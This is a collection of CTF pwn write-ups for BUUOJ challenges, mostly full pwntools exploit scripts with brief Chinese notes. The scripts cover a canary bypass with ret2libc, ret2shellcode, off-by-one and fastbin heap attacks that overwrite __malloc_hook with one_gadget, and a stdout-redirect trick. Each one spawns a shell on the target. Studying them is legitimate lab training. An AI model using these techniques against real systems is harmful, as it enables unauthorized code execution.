others_babystack
绕过canary然后栈溢出
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 26959
filename = "./babystack"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
main_addr = 0x0000000000400908
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
pop_rdi_addr = 0x0000000000400a93
payload = cyclic(0x88) + b'\xff'
io.sendafter(">> ", "1")
io.send(payload)
io.sendafter(">> ", "2")
io.recvuntil(b"\xff")
canary = u64(io.recv(7).rjust(8, b'\x00'))
payload = cyclic(0x88) + p64(canary) + cyclic(8)
payload += p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendafter(">> ", "1")
io.send(payload)
io.sendafter(">> ", "3")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
log.info("puts address: %#x" % puts_addr)
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = cyclic(0x88) + p64(canary) + cyclic(8)
payload += p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.sendafter(">> ", "1")
io.send(payload)
io.sendafter(">> ", "3")
if __name__ == "__main__":
pwn()
io.interactive()
pwnable_start
ret2shellcode, 参考我之前的博客
https://blog.csdn.net/qq_33976344/article/details/118159757
from pwn import *
from pwnlib.util.cyclic import cyclic
context.log_level = "debug"
sel = 1
URL, PORT = "node4.buuoj.cn", 29128
io = process("./start") if sel == 0 else remote(URL, PORT)
write_addr = 0x08048087
payload1 = cyclic(0x14) + p32(write_addr)
io.sendafter("Let's start the CTF:", payload1)
esp_addr = u32(io.recv(4)) # u32(io.recvline().strip().ljust(4, b"\x00"))
shellcode = asm("xor edx, edx") + asm("xor ecx, ecx")
shellcode += asm("push 0x0068732f") + asm("push 0x6e69622f")
shellcode += asm("mov ebx, esp") + asm("mov eax, 0x0b") + asm("int 0x80")
payload2 = cyclic(0x14) + p32(esp_addr + 0x14) + shellcode
sleep(0.1)
io.send(payload2)
io.interactive()
roarctf_2019_easy_pwn
终于来了道中规中矩的题目了, 保护不全开, 搁这白给呢[doge]
初步逆向没有发现漏洞, 深入一层看看更基本的函数, 返现write函数里的sub_E26
存在off by one漏洞
a2是write修改时输入的size, a1是add时输入的size, 如果之后输入的size - pre_size == 10, 则可以多输入1字节, 这个函数人为设计感很强, 故意这么写的吧, 属于是有意留的漏洞了
off-by-one + chunk overlapping + fastbin attack + realloc_hook调整栈 + one gadget
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 29250
filename = "./roarctf_2019_easy_pwn"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(size):
io.sendlineafter('choice: ', '1')
io.sendlineafter('size:', str(size))
def write(index, size, data):
io.sendlineafter('choice: ', '2')
io.sendlineafter('index:', str(index))
io.sendlineafter('size:', str(size))
io.sendafter('content:', data)
def delete(index):
io.sendlineafter('choice: ', '3')
io.sendlineafter('index:', str(index))
def show(index):
io.sendlineafter('choice: ', '4')
io.sendlineafter('index:', str(index))
def pwn():
add(0x18) # chunk0
add(0x18) # chunk1
add(0x88) # chunk2
add(0x88) # chunk3
add(0x28) # chunk4
add(0x28) # chunk5
add(0x68) # chunk6
payload = cyclic(0x18) + p8(0xb1)
write(0,34, payload) # write chunk_size
delete(1)
add(0xa8) # chunk1
payload = cyclic(0x18) + p64(0x91)
write(1, 0x20, payload) # write chunk_size set chunk2 to small bin
delete(2)
show(1) # leak main_arena address
io.recvuntil('content: ')
io.recv(0x20)
libc_base = u64(io.recv(8)) - 0x3c4b78 # libc-2.23.so
log.info("libc base address: %#x" % libc_base)
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['__libc_realloc']
one_gadget = libc_base + 0x4526a
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# gdb.attach(io)
payload = cyclic(0x28) + p8(0xa1)
write(4, 50, payload)
delete(5) # move top chunk, prevent deleted chunk6 merge with top chunk
delete(6)
add(0x98) # chunk2
payload = cyclic(0x28) + p64(0x71) + p64(malloc_hook - 0x23)
write(2, 0x38, payload) # fastbin attack write
add(0x68) # chunk6 idx = 5
add(0x68) # fake chunk idx = 6
payload = cyclic(0x13 - 8) + p64(one_gadget) + p64(realloc + 16)
write(6, 27, payload) # ralloc_hook change stack to satisfy one_gadget condition
# gdb.attach(io)
add(0x10)
if __name__ == "__main__":
pwn()
io.interactive()
注:
libc用buu官网给的, ld用大版本0ubuntu11, 这样可以更好逼近远程环境, 远程的libc版本在glibc-all-in-one居然没有对应的版本可以下载, libc和ld都用2.23-0ubuntu11.3_amd64是打不通本地的, 换libc就能通
0ctf_2017_babyheap
参考
https://blog.csdn.net/qq_33976344/article/details/119904057
from pwn import *
url, port = "node4.buuoj.cn", 25478
filename = "./0ctf_2017_babyheap"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def alloc(size):
io.sendlineafter("Command: ", '1')
io.sendlineafter("Size: ", str(size))
def fill(idx, cont):
io.sendlineafter("Command: ", '2')
io.sendlineafter("Index: ", str(idx))
io.sendlineafter("Size: ", str(len(cont)))
io.sendafter("Content: ", cont)
def free(idx):
io.sendlineafter("Command: ", '3')
io.sendlineafter("Index: ", str(idx))
def dump(idx):
io.sendlineafter("Command: ", '4')
io.sendlineafter("Index: ", str(idx))
io.recvuntil("Content: \n")
data = io.recvline()
return data
def pwn():
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
free(2)
payload = cyclic(16) + p64(0) + p64(0x21) + cyclic(16) + p64(0) + p64(0x21) + p8(0x80)
fill(0, payload)
payload = cyclic(16) + p64(0) + p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
payload = cyclic(16) + p64(0) + p64(0x91)
fill(3, payload)
alloc(0x80)
free(4)
main_arena_addr = u64(dump(2)[:8])
libc_base = main_arena_addr - 0x3c4b78
__malloc_hook_addr = libc_base + 0x00000000003c4b10
one_gadget_addr = libc_base + 0x4526a # 0x45216
log.info("main_arena_addr = 0x%x" % main_arena_addr)
log.info("libc_base = 0x%x" % libc_base)
log.info("__malloc_hook_addr = 0x%x" % __malloc_hook_addr)
log.info("one_gadget_addr = 0x%x" % one_gadget_addr)
alloc(0x60)
free(4)
payload = p64(libc_base + 0x3c4afd) # link fake chunk into fastbin
fill(2, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0) * 3 + p64(one_gadget_addr) # change __malloc_hook
fill(6, payload)
alloc(233) # call one_gaget
io.interactive()
if __name__ == '__main__':
pwn()
wustctf2020_closed
stdout重定向
exec 1>&0
(1>&之间没有空格